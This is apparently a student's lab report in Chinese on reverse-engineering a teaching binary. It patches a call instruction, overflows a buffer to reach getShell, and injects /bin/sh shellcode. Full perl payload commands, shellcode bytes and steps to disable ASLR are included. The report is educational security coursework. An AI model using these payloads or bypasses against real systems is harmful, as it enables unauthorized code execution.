20174323张加欣-Exp1 PC平台逆向破解

1.逆向及Bof基础实践说明

1.1 实践目标  

对象:名为pwn20174323(原名pwn1)的linux可执行文件

流程:main调用foo函数,foo函数会简单回显任何用户输入的字符串

目标:使程序执行另一个代码片段:getshell

内容:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

1.2 基础知识  

常用Linux基本操作:

  • objdump -d从objfile中反汇编那些特定指令机器码的section。
  • perl -e:后面紧跟单引号括起来的字符串,表示在命令行要执行的命令。
  • xxd:为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式。
  •  ps -ef显示所有进程,并显示每个进程的UID,PPIP,C与STIME栏位。
  •  |:管道,将前者的输出作为后者的输入。
  •  >:输入输出重定向符,将前者输出的内容输入到后者中。

部分汇编指令的机器码:

  • NOP:即“空指令”(机器码:90)
  • JNE:条件转移指令,如果不相等则跳转(机器码:75)
  • JE:条件转移指令,如果相等则跳转(机器码:74)

 

2.直接修改程序指令,改变程序执行流程

2.1 准备工作  

  • 首先我将pwn20174323拖拽到虚拟机桌面上,为防止之后出现问题。
  • 进行指令cp pwn20174323 /home,将文件复制到/home文件夹中。
  • 进行指令ls,可以看到home文件夹中已经有这个文件了。

2.2 反汇编查看函数地址  

  • 进行指令 objdump -d pwn20174323| more ,浏览反汇编后的文件。
  • 输入/getShell,直接跳到getShell。

  • 其中main函数中的80484b5的指令为“call 8048491”,具体含义为:

          本条指令将调用位于地址8048491处的函数,即foo函数;

          其对应机器指令“e8 d7 ff ff ff”,e8即为跳转,后面的“d7 ff ff ff”是补码,表示-41(41=0x29)。

          经过计算,80484ba +d7ffffff= 80484ba-0x29=8048491,即“d7 ff ff ff”对应着8048491。

2.3 vi中修改地址,反汇编查看结果  

  •  用vim指令vi pwn20174323,编辑该文件,此时屏幕会出现乱码,按esc键。

  • 输入指令:%!xxd,即用十六进制查看文件内容。
  • 得到16进制显示后,输入 /e8 d7,定位命令位置。

  • 按回车保持定位,然后按 i 进入编辑模式,将d7修改为c3。

  • 输入命令:%!xxd -r,转化16进制为原格式。
  • 输入:wq,存盘退出vi。
  • 再反汇编看一下objdump -d pwn20174323 | more,查看call指令是否正确调用getShell。

 

3.通过构造输入参数,造成BOF攻击,改变程序执行流

3.1 反汇编,了解程序的基本功能  

  • 查看getShell函数地址

  • 该可执行文件正常运行是调用函数foo,这个函数有Buffer overflow漏洞。读入字符串时,系统只预留了28字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址。

3.2 确认输入字符串哪几个字符会覆盖到返回地址  

  • 安装系统apt-get install gdb,进行调试功能。
  • 输入gdb pwn20174323,进行到调试界面。
  • 输入 r ,确认输入多少字符串后会覆盖到程序的返回地址,尝试几种不同长度的字符串。

  • 输入info r,查看当前寄存器状态。发现eip被0x35353535覆盖了,查ASCII表可知35对应着十进制的5,推测是最后的几个5覆盖到了eip上。
  • 重新输入字符串,可知覆盖eip的是1234。

3.3 确认用什么值来覆盖返回地址  

  • getShell的内存地址,通过反汇编时可知为0804847d。
  • 接下来确认下字节序,输入11111111222222223333333344444444\x7d\x84\x04\x08。

3.4 构造输入字符串  

  • 由为无法通过键盘输入\x7d\x84\x04\x08这样的16进制值,借助Perl语言来代替我们生成这样符合要求的字符串重定向输出到input文件中。
  • \x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
  • 可以使用16进制查看指令xxd,查看input文件的内容是否如预期。
  • 输入指令(cat input; cat) | ./pwn20175104 ,将input文件作为文件的输入。

 

4.注入Shellcode并执行

4.1 准备一段Shellcode  

  • shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
  • 实践采用老师推荐的shellcode。如下:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

4.2 准备工作  

  • 输入apt-get install prelink ,命令安装execstack软件包。

  • 进行如下设置:

          execstack -s pwn20174323

          execstack -q pwn20174323

          X pwn20174323

          more /proc/sys/kernel/randomize_va_space 

          echo "0" > /proc/sys/kernel/randomize_va_space 

          more /proc/sys/kernel/randomize_va_space

4.3 构造要注入的payload  

  • Linux下有两种基本构造攻击buf的方法:因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。(retaddr+nop+shellcode、nop+shellcode+retaddr)
  • 下面将选取anything+retaddr+nops+shellcode这种方式构造攻

 

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
  • 接着在终端中注入这一段攻击buf,(cat input_shellcode;cat) | ./pwn20174323
  • 此时,重新打开终端,进行调试。
  • 首先查看程序进程ps -ef | grep pwn20174323,发现进程号为1538
  • 输入gdb进入调试界面,然后输入attach 1538调试这个进程。

  • 接下来输入指令disassemble foo,对foo函数进行反汇编。
  • 然后设置断点,来查看注入buf的内存地址。指令为:break *0x080484ae

  • 之后要回到刚开始的终端手动回车一下,然后回到调试的终端,输入指令 c 继续。
  • 接下来输入指令 info r esp ,查看栈顶指针所在的位置,并查看改地址存放的数据。
  • 然后看到了\x4\x3\x2\x1果然出现在栈顶,就是返回地址的位置。shellcode就挨着,所以地址是0xffffd3cc+4=0xffffd3d0

  • 修改攻击代码,将地址加进去(注意地址!)
perl -e 'print "A" x 32;print "\xd0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
  • 并将其输入到程序,指令为  (cat input_shellcode;cat) | ./pwn20174323

  • 可以执行指令,实验成功。

 

5.实验心得

       在正式实验之前,我认真的看了老师给的视频资料和博客园中同学们的实验分享。总体来说比较顺利,但还是碰到了很多细节上的小问题。比如,在kali 64位下运行 ./pwn20174323会跳出来说没有这个文件或者目录,但是ls看又有这个文件,这个问题让我纠结了很久。然后经过了一系列的排查之后发现,其实原因很简单,是因为他没有32位的运行库 ia32-libs ,直接安装即可。第一次在linux上做的实验,收获到了很多知识,如何利用十六进制编辑文件,还有相关反汇编的知识。希望自己在接下来的实验中,可以少一些粗心,认真仔细的完成每次实验。

 

6.问题思考

  • 什么是漏洞?漏洞有什么危害?

       漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。具体举例来说,比如在Intel Pentium芯片中存在的逻辑错误,在Sendmail早期版本中的编程错误,在NFS协议中认证方式上的弱点,在Unix系统管理员设置匿名Ftp服务时配置不当的问题都可能被攻击者使用,威胁到系统的安全。因而这些都可以认为是系统中存在的安全漏洞。

       漏洞的危害:从计算机外部写入到缓冲区,可以使攻击者覆盖邻近内存块的内容,从而导致数据遭到破坏、程序崩溃,甚至可以执行任何恶意代码。小到个人pc,大到国家安全系统计算机,漏洞带来的危害可以是毁灭性的。

 

posted @ 2020-03-14 14:28  张加欣  阅读(191)  评论(0编辑  收藏  举报